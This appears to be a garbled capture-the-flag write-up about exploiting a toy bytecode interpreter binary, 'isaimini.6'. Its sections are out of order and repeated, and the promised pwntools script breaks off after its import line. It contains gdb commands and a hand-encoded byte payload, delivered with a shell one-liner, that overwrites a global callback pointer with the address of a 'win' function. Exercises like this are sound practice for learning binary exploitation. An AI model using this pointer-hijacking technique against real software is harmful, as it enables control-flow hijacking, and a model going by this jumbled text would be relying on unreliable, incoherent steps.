Success! If the real binary prints the flag, you will see it after Success! . (gdb) file isaimini.6 (gdb) set disassembly-flavor intel (gdb) break *0x00401430 # break at start of execute() (gdb) run (gdb) x/4gx $rsp # view saved RIP after HLT (gdb) x/gx 0x00603010 # examine callback after ST (gdb) continue You should see that after the ST instruction the memory at 0x00603010 holds 0x401b10 . When the interpreter reaches the final if(callback) check, it jumps to that address and prints the success message. 8. Full Exploit Script (Python / pwntools) #!/usr/bin/env python3 from pwn import *
# Send the payload via stdin printf "$payload" | ./isaimini.6 : isaimini.6
parse_input tokenises the input and stores each instruction as a struct in a global array insts[128] . execute iterates over insts and dispatches to the appropriate handler based on the first byte (the opcode). The interpreter keeps a register file : Success
Note : The actual binary uses a – each instruction occupies 1‑byte opcode followed by the required operands (packed tightly). Ghidra’s decompiler shows the exact parsing logic in parse_input . 4.3. The win Function At address 0x00401b10 : (gdb) file isaimini
# Instead of assembling, we manually encode: payload = b"\x01\x01" + p64(win_addr) # MOV r1, win payload += b"\x05\x10\x01" # ST [r16], r1 (write win → callback) payload += b"\x09" # HLT
if (callback != NULL) ((void (*)(void))callback)(); callback is a global 8‑byte variable at 0x00603010 , initialised to 0 . The only way to set it is through the ST instruction (store to memory).
payload=$(printf '\x01\x01\x10\x1b\x40\x00\x00\x00\x00\x00\x05\x10\x01\x09') # Make the binary executable chmod +x isaimini.6